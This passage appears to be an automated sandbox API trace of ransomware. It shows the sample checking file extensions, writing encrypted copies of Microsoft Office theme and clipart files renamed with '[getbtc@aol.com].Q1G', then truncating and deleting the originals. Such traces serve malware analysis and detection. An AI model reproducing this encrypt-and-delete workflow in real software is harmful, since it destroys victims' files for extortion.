CloseHandle (hObject=0x324) returned 1 [0238.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf")) returned 0x20 [0238.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0238.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0238.020] lstrlenW (lpString=".doc") returned 4 [0238.020] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0238.020] lstrlenW (lpString=".docx") returned 5 [0238.020] lstrcmpiW (lpString1=".docx", lpString2="S.INF") returned -1 [0238.020] lstrlenW (lpString=".pdf") returned 4 [0238.020] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0238.020] lstrlenW (lpString=".xls") returned 4 [0238.020] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0238.020] lstrlenW (lpString=".xlsx") returned 5 [0238.020] lstrcmpiW (lpString1=".xlsx", lpString2="S.INF") returned -1 [0238.020] lstrlenW (lpString=".ppt") returned 4 [0238.020] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0238.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0238.020] lstrlenW (lpString=".zip") returned 4 [0238.020] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0238.020] lstrlenW (lpString=".rar") returned 4 [0238.020] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0238.020] lstrlenW (lpString=".bz2") returned 4 [0238.020] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0238.020] lstrlenW (lpString=".7z") returned 3 [0238.020] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0238.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0238.020] lstrlenW (lpString=".dbf") returned 4 [0238.020] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0238.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0238.020] lstrlenW (lpString=".1cd") returned 4 [0238.020] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0238.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0238.021] lstrlenW (lpString=".jpg") returned 4 [0238.021] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0238.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0238.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0238.021] lstrlenW (lpString=".doc") returned 4 [0238.021] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0238.021] lstrlenW (lpString=".docx") returned 5 [0238.021] lstrcmpiW (lpString1=".docx", lpString2="S.INF") returned -1 [0238.021] lstrlenW (lpString=".pdf") returned 4 [0238.021] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0238.021] lstrlenW (lpString=".xls") returned 4 [0238.021] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0238.021] lstrlenW (lpString=".xlsx") returned 5 [0238.021] lstrcmpiW (lpString1=".xlsx", lpString2="S.INF") returned -1 [0238.021] lstrlenW (lpString=".ppt") returned 4 [0238.021] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0238.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0238.021] lstrlenW (lpString=".zip") returned 4 [0238.021] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0238.021] lstrlenW (lpString=".rar") returned 4 [0238.021] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0238.021] lstrlenW (lpString=".bz2") returned 4 [0238.021] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0238.021] lstrlenW (lpString=".7z") returned 3 [0238.021] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0238.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0238.021] lstrlenW (lpString=".dbf") returned 4 [0238.021] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0238.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0238.021] lstrlenW (lpString=".1cd") returned 4 [0238.021] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0238.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0238.021] lstrlenW (lpString=".jpg") returned 4 [0238.021] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0238.022] lstrcmpiW (lpString1=".ELM", lpString2=".Q1G") returned -1 [0238.022] lstrlenW (lpString="DEEPBLUE.ELM") returned 12 [0238.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0238.023] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=71388) returned 1 [0238.023] CloseHandle (hObject=0x324) returned 1 [0238.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm")) returned 0x20 [0238.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0238.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0238.023] lstrlenW (lpString=".doc") returned 4 [0238.024] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0238.024] lstrlenW (lpString=".docx") returned 5 [0238.024] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0238.024] lstrlenW (lpString=".pdf") returned 4 [0238.024] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0238.024] lstrlenW (lpString=".xls") returned 4 [0238.024] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0238.024] lstrlenW (lpString=".xlsx") returned 5 [0238.024] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0238.024] lstrlenW (lpString=".ppt") returned 4 [0238.024] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0238.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0238.024] lstrlenW (lpString=".zip") returned 4 [0238.024] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0238.024] lstrlenW (lpString=".rar") returned 4 [0238.024] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0238.024] lstrlenW (lpString=".bz2") returned 4 [0238.024] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0238.024] lstrlenW (lpString=".7z") returned 3 [0238.024] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0238.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0238.024] lstrlenW (lpString=".dbf") returned 4 [0238.024] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0238.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0238.024] lstrlenW (lpString=".1cd") returned 4 [0238.024] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0238.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0238.024] lstrlenW (lpString=".jpg") returned 4 [0238.024] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0238.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0238.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0238.024] lstrlenW (lpString=".doc") returned 4 [0238.024] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0238.024] lstrlenW (lpString=".docx") returned 5 [0238.024] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0238.024] lstrlenW (lpString=".pdf") returned 4 [0238.025] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0238.025] lstrlenW (lpString=".xls") returned 4 [0238.025] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0238.025] lstrlenW (lpString=".xlsx") returned 5 [0238.025] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0238.025] lstrlenW (lpString=".ppt") returned 4 [0238.025] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0238.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0238.025] lstrlenW (lpString=".zip") returned 4 [0238.025] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0238.025] lstrlenW (lpString=".rar") returned 4 [0238.025] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0238.025] lstrlenW (lpString=".bz2") returned 4 [0238.025] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0238.025] lstrlenW (lpString=".7z") returned 3 [0238.025] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0238.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0238.025] lstrlenW (lpString=".dbf") returned 4 [0238.025] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0238.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0238.025] lstrlenW (lpString=".1cd") returned 4 [0238.025] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0238.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0238.025] lstrlenW (lpString=".jpg") returned 4 [0238.025] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0238.025] lstrcmpiW (lpString1=".INF", lpString2=".Q1G") returned -1 [0238.025] lstrlenW (lpString="DEEPBLUE.INF") returned 12 [0238.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0238.026] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=569) returned 1 [0238.026] CloseHandle (hObject=0x324) returned 1 [0238.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf")) returned 0x20 [0238.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0238.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0238.026] lstrlenW (lpString=".doc") returned 4 [0238.026] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0238.026] lstrlenW (lpString=".docx") returned 5 [0238.026] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0238.026] lstrlenW (lpString=".pdf") returned 4 [0238.026] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0238.026] lstrlenW (lpString=".xls") returned 4 [0238.026] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0238.026] lstrlenW (lpString=".xlsx") returned 5 [0238.026] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0238.026] lstrlenW (lpString=".ppt") returned 4 [0238.026] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0238.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0238.026] lstrlenW (lpString=".zip") returned 4 [0238.026] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0238.026] lstrlenW (lpString=".rar") returned 4 [0238.026] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0238.026] lstrlenW (lpString=".bz2") returned 4 [0238.026] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0238.027] lstrlenW (lpString=".7z") returned 3 [0238.027] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0238.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0240.592] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=9322) returned 1 [0240.592] CloseHandle (hObject=0x204) returned 1 [0240.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 0x20 [0241.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0241.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0241.894] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0241.894] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0241.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0242.129] GetLastError () returned 0x0 [0242.129] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x246a, lpOverlapped=0x0) returned 1 [0242.146] WriteFile (in: hFile=0x394, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x2470, lpOverlapped=0x0) returned 1 [0242.147] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0242.147] WriteFile (in: hFile=0x394, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.147] SetEndOfFile (hFile=0x394) returned 1 [0242.147] CloseHandle (hObject=0x394) returned 1 [0242.147] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.147] SetEndOfFile (hFile=0x360) returned 1 [0242.213] CloseHandle (hObject=0x360) returned 1 [0242.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0242.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0242.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0242.363] lstrlenW (lpString=".doc") returned 4 [0242.363] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.363] lstrlenW (lpString=".docx") returned 5 [0242.363] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.363] lstrlenW (lpString=".pdf") returned 4 [0242.363] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.363] lstrlenW (lpString=".xls") returned 4 [0242.363] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.363] lstrlenW (lpString=".xlsx") returned 5 [0242.363] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.363] lstrlenW (lpString=".ppt") returned 4 [0242.363] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0242.363] lstrlenW (lpString=".zip") returned 4 [0242.363] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.363] lstrlenW (lpString=".rar") returned 4 [0242.363] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.363] lstrlenW (lpString=".bz2") returned 4 [0242.363] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.363] lstrlenW (lpString=".7z") returned 3 [0242.363] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0242.363] lstrlenW (lpString=".dbf") returned 4 [0242.363] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0242.363] lstrlenW (lpString=".1cd") returned 4 [0242.363] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0242.364] lstrlenW (lpString=".jpg") returned 4 [0242.364] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0242.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0242.364] lstrlenW (lpString=".doc") returned 4 [0242.364] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.364] lstrlenW (lpString=".docx") returned 5 [0242.364] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.364] lstrlenW (lpString=".pdf") returned 4 [0242.364] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.364] lstrlenW (lpString=".xls") returned 4 [0242.364] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.364] lstrlenW (lpString=".xlsx") returned 5 [0242.364] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.364] lstrlenW (lpString=".ppt") returned 4 [0242.364] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0242.364] lstrlenW (lpString=".zip") returned 4 [0242.364] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.364] lstrlenW (lpString=".rar") returned 4 [0242.364] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.364] lstrlenW (lpString=".bz2") returned 4 [0242.364] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.364] lstrlenW (lpString=".7z") returned 3 [0242.364] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0242.364] lstrlenW (lpString=".dbf") returned 4 [0242.364] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0242.364] lstrlenW (lpString=".1cd") returned 4 [0242.364] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0242.364] lstrlenW (lpString=".jpg") returned 4 [0242.364] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.365] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.365] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0242.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0242.366] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=5440) returned 1 [0242.366] CloseHandle (hObject=0x360) returned 1 [0242.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 0x20 [0242.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0242.366] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.366] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.367] GetLastError () returned 0x0 [0242.367] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x1540, lpOverlapped=0x0) returned 1 [0242.369] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x1550, lpOverlapped=0x0) returned 1 [0242.370] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0242.370] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.370] SetEndOfFile 